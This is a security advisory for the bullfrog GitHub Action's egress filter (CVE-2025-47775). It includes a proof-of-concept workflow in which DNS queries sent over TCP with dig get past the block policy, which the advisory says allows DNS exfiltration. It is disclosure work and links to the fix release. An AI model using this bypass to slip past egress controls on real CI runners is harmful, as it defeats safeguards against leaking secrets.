Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

• https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3
• https://nvd.nist.gov/vuln/detail/CVE-2025-47775
• https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671
• https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4
• https://github.com/advisories/GHSA-m32f-fjw2-37v3